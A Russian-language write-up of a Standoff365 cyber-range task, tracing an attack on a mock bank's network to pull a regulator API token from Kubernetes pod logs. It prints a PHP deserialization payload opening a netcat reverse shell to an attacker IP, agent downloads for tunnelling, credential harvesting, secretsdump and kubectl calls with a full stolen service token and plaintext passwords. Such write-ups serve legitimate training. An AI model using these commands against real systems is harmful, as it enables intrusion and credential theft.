WriteUp. Утечка служебного токена сервиса регулятора

Прохождение задания ‘Прохождение задачи ‘Standoff365 - Industry - Банковская система - Утечка служебного токена сервиса регулятора’.
Информация о задании
| Название | Утечка служебного токена сервиса регулятора |
|---|---|
| Уровень | Средний |
| Категория | Pentest Machines |
| ОС | Linux, Windows |
Начало
В задании сказано:
Получите k8s токен с ограниченными правами в кластере combs. Найдите служебный pod сервиса обновления курсов валют. Выгрузите логи пода с токеном доступа (Access Token) к API ЦБ в формате uuid4.
Подключаемся по VPN
sudo openvpn *.ovpn Разведка
От сюда берем информацию о сетях. Так в задании сказано про Commercial Bank of Standoff (cbs), то нам необходимы сети: Внешний периметр: 10.124.0.128/26 и Внутренний периметр: 10.154.4.0/23.
nmap 10.124.0.128/26 -T5 -v --open -A -PnОбратите внимание на параметр -Pn
Нас интересует IP 10.124.0.134
Проверяем сайт:
Воспользуемся инструментом dnsrecon
dnsrecon -r 10.124.0.128/26 -n 10.124.0.162IP 10.124.0.162 это там где 53 порт
Через Burp производим разведку дальше, а именно тыкаем везде и всюду, да поиска “чего-то интересного”. При вводе на форме “Обратной связи” находим что-то интересное. Пишет, что не найдено api.
Убираем лишнее api
Эксплуатация
Предпологаем что тут есть уязвимость вида: “десериализации PHP”
Пытаемся эксплуатировать уязвимость и выполнить обратный шелл и при этом найти правильный параметр s:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.127.245.254 4444 >/tmp/f')Выполняем, видим что мы поймали шел
Дальнейшая разведка
Проверяем директорию /home на наличие файлов и видим файл history.txt. Проверяем данный файл и получаем креды.
Подключение по SSH на 10.124.0.163 и чтение файлов других пользователей
Подключаемся по SSH на 10.124.0.163, который мы нашли ранее при сканировании сети nmap. Пользователь: jack Пароль:rN9YvGXqd2b3RYrD21r7
ssh jack@10.124.0.163Вводим команду на проверку привилегий. Видим что есть “высокие” права на cat
sudo -lПроверяем все файлы истории всех пользователей. Находим в истории root некий файл .wincreds пользователя astridion
Проверяем данный файл. Находим креды
Создание туннеля во внутреннюю сеть
Для создания туннеля во внутреннюю сеть будем использовать ligolo-ng качаем тут. Нам нужны agent и proxy. Качаем себе на машину
Поднимаем http сервер у себя на машине на 8000 порту
python3 -m http.server 8000Переходим в папку /tmp и качаем agent
curl -O http://10.127.245.254:8000/agentГотовим ligolo у себя на тачке
sudo ip tuntap add user kali mod tun ligolo
sudo ip link set ligolo upЗапускаем прокси на порту 1155
./proxy -selfcert -laddr 0.0.0.0:1155Переходим на jmp и делаем исполняемый агент и запускаем
chmod +x agent
./agent -connect 10.127.245.254:1155 -ignore-certДалее снова переходим на свою тачку и видим что появилась сессия, входим в нее и запускаем
session
startНу а теперь необходимо “завернуть” внутреннюю сеть банка cbs 10.154.4.0/23 в интерфейс ligolo
sudo ip route add 10.154.4.0/23 dev ligolo Сбор информации о внутренней сети банка cbs 10.154.4.0/23
Воспользуемся утилитой nxc (протокол smb) и кредами, которые нашли ранее, а именно: Пользователь: astridio Пароль: ZYSE6G01pICXQByw7JO
nxc smb 10.154.4.0/23 -u astridion -p zZYSE6G01pICXQByw7JOПроверяем на наличие сервисов с помощью утилиты nmap на всех портах (-p-)
nmap 10.154.4.166 -T5 -v --open -A -p-Доступ по RDP, и поиск информации
Пробуем получить дамп с машины 10.154.4.166, с помощью утилиты impacket-secretsdump и видим пароль пользователя helpdesk
impacket-secretsdump 'cbs.stf/astridion':'zZYSE6G01pICXQByw7JO'@10.154.4.166 Получаем доступ по RDP. И запускаем PowerShell от имени Администратора
xfreerdp3 /v:10.154.4.166:33389 /u:helpdesk /p:9i8pwK95TQ5bWtl7fadJ /d:cbs.stf Прошу обратить внимание, что при выполнении команды доступа по RDP, вы можете получать доступ на разные тачки!
И начинаем искать везде и всюду
Выполнение НС
Так как в задании идет речь о k8s - kubernetes, это то что необходимо
Проверяем данный порт
Видим что он фильтруется, значит есть вероятность, что необходимо сделать туннель от тачки WS05, где был найден файл
Кидаем агента лиголо на тачку
Переходим в директорию и запускаем агента
./agent.exe -connect 10.127.245.254:1155 -ignore-certИдем на нашу тачку, и проверяем
stop
session
TAB
startПроверяем данный порт
Вводим команду, которая была в файле .bash_history и видим что пода нет, значит надо найти
kubectl logs cb-currencies-deploy-7b4cc59d45-m62md -n cb-currencies --server=https://10.154.4.162:6443 --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEzcnhoWDV1SWtUSmYtdmh5c0Y3MzRob2l3VlhDeG5SbGtqQzVwemZVLWsifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYi1jdXJyZW5jaWVzIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImNiLWN1cnJlbmNpZXMtZXhlYy1zZXJ2aWNlLWFjY291bnQtdG9rZW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2ItY3VycmVuY2llcy1zZXJ2aWNlLWFjY291bnQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwYThjMTAzYS05MmQzLTQwZjctOWMzYy0zZTc2Zjc1YTNhMjQiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6Y2ItY3VycmVuY2llczpjYi1jdXJyZW5jaWVzLXNlcnZpY2UtYWNjb3VudCJ9.qcTSjvOnfiVPWjkthJRr-4jb52M9-qK8KPhSbXJLywcyZ2BS2fZgOX8-kf6tn3BbHKhahLnC5Np9b-cvVqpBTFMfAyY7SCsCE9oHgrfe101DTnAEhxJEhs9F6iJXxi_Vvximjfqc4ZfQ9OuHTtC1I1cMZz2nyT8kJr8vcTxmwrcUHQAEpiM86a0YOIAR2i3fnqi0azqwTBMcwMySvJc6yBKDHCMQnIWcqkuvSW12aLRmaCFlTEDN5Xt4ZpJKRVFfwjHJ7D60HK3n7oaOGRiRfKnQoQHw5enUVXvlmQqxzkid9di1eOhhqTwf0zGdw0S0BhVsYpNE_JMo_gIF7qH4Hg" --insecure-skip-tls-verifyВводим команду, для поиска подов
kubectl get pods -n cb-currencies --server=https://10.154.4.162:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEzcnhoWDV1SWtUSmYtdmh5c0Y3MzRob2l3VlhDeG5SbGtqQzVwemZVLWsifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYi1jdXJyZW5jaWVzIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImNiLWN1cnJlbmNpZXMtZXhlYy1zZXJ2aWNlLWFjY291bnQtdG9rZW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2ItY3VycmVuY2llcy1zZXJ2aWNlLWFjY291bnQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwYThjMTAzYS05MmQzLTQwZjctOWMzYy0zZTc2Zjc1YTNhMjQiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6Y2ItY3VycmVuY2llczpjYi1jdXJyZW5jaWVzLXNlcnZpY2UtYWNjb3VudCJ9.qcTSjvOnfiVPWjkthJRr-4jb52M9-qK8KPhSbXJLywcyZ2BS2fZgOX8-kf6tn3BbHKhahLnC5Np9b-cvVqpBTFMfAyY7SCsCE9oHgrfe101DTnAEhxJEhs9F6iJXxi_Vvximjfqc4ZfQ9OuHTtC1I1cMZz2nyT8kJr8vcTxmwrcUHQAEpiM86a0YOIAR2i3fnqi0azqwTBMcwMySvJc6yBKDHCMQnIWcqkuvSW12aLRmaCFlTEDN5Xt4ZpJKRVFfwjHJ7D60HK3n7oaOGRiRfKnQoQHw5enUVXvlmQqxzkid9di1eOhhqTwf0zGdw0S0BhVsYpNE_JMo_gIF7qH4Hg" --insecure-skip-tls-verifyНаходим cb-currencies-deploy-7b4cc59d45-29fzw. Вводим и видим токен. НС реализована.
kubectl logs cb-currencies-deploy-7b4cc59d45-29fzw -n cb-currencies --server=https://10.154.4.162:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEzcnhoWDV1SWtUSmYtdmh5c0Y3MzRob2l3VlhDeG5SbGtqQzVwemZVLWsifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYi1jdXJyZW5jaWVzIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImNiLWN1cnJlbmNpZXMtZXhlYy1zZXJ2aWNlLWFjY291bnQtdG9rZW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2ItY3VycmVuY2llcy1zZXJ2aWNlLWFjY291bnQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwYThjMTAzYS05MmQzLTQwZjctOWMzYy0zZTc2Zjc1YTNhMjQiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6Y2ItY3VycmVuY2llczpjYi1jdXJyZW5jaWVzLXNlcnZpY2UtYWNjb3VudCJ9.qcTSjvOnfiVPWjkthJRr-4jb52M9-qK8KPhSbXJLywcyZ2BS2fZgOX8-kf6tn3BbHKhahLnC5Np9b-cvVqpBTFMfAyY7SCsCE9oHgrfe101DTnAEhxJEhs9F6iJXxi_Vvximjfqc4ZfQ9OuHTtC1I1cMZz2nyT8kJr8vcTxmwrcUHQAEpiM86a0YOIAR2i3fnqi0azqwTBMcwMySvJc6yBKDHCMQnIWcqkuvSW12aLRmaCFlTEDN5Xt4ZpJKRVFfwjHJ7D60HK3n7oaOGRiRfKnQoQHw5enUVXvlmQqxzkid9di1eOhhqTwf0zGdw0S0BhVsYpNE_JMo_gIF7qH4Hg" --insecure-skip-tls-verify